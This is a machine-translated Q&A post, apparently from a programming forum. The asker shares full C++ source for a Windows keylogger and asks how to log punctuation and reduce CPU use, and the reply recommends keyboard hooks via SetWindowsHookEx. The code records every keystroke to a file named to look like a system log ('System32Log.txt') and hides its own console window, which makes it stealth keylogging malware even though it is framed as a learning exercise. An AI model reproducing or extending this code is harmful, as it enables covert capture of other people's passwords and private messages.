Создание Кейлоггер

Я хотел сделать небольшой кейлоггер на своем собственном компьютере, чтобы увидеть, как нажатия клавиш работают с C ++. Я нашел какой-то код в сети и просто немного его отредактировал, хотя я не уверен, как делать то, что я хочу.

#include "stdafx.h"#include <iostream>
#include <windows.h>
#include <winuser.h>

using namespace std;
int Save (int key_stroke, char *file);
void Stealth();

int main()
{
Stealth();
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"System32Log.txt");
}
}
system ("PAUSE");
return 0;
}
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}

Я хочу исправить это, чтобы правильно хранить такие вещи, как «.» «,» или больше, но я не уверен, так как я не знаком с клавишами. Также я хотел бы добавить что-то, что позволило бы использовать меньше ресурсов процессора (в настоящее время на i5 это 25%), я, вероятно, должен использовать Sleep (значение), хотя я не уверен, какое значение выбрать.

1

Решение

Быстрый взгляд на ответы Вот а также Вот для получения дополнительной информации о том, какие функции Windows API подходят для вашей работы.


Основная идея состоит в том, чтобы установить так называемую функцию «Hook» на клавиатуре, используя SetWindowsHookEx (либо Keyboard, либо Keyboard_LL — хотя вам, вероятно, понадобится первое). При разгрузке вашего клавиатурного шофера, вам нужно отцепить его. После того, как вы установили ловушку, Windows будет вызывать функцию ловушки после каждого события клавиатуры. Вы обрабатываете это (регистрируете где-нибудь) и затем вызываете следующий Hook с CAllNextHook, чтобы продолжить обработку события в Windows. Вам нужно будет попробовать и отладить там.

Вот и все для глобальной ловушки (вторая ссылка предоставляет информацию в MSDN). Изучите функцию SetWindowsHookEx и постарайтесь понять механизмы, лежащие в ее основе, и вы скоро добьетесь успеха. Вы также можете уточнить свой поиск в стеке, используя «крючок» в качестве ключевого слова в своем поиске (например, прочитав это Вот)

6

Другие решения

Других решений пока нет …

По вопросам рекламы [email protected]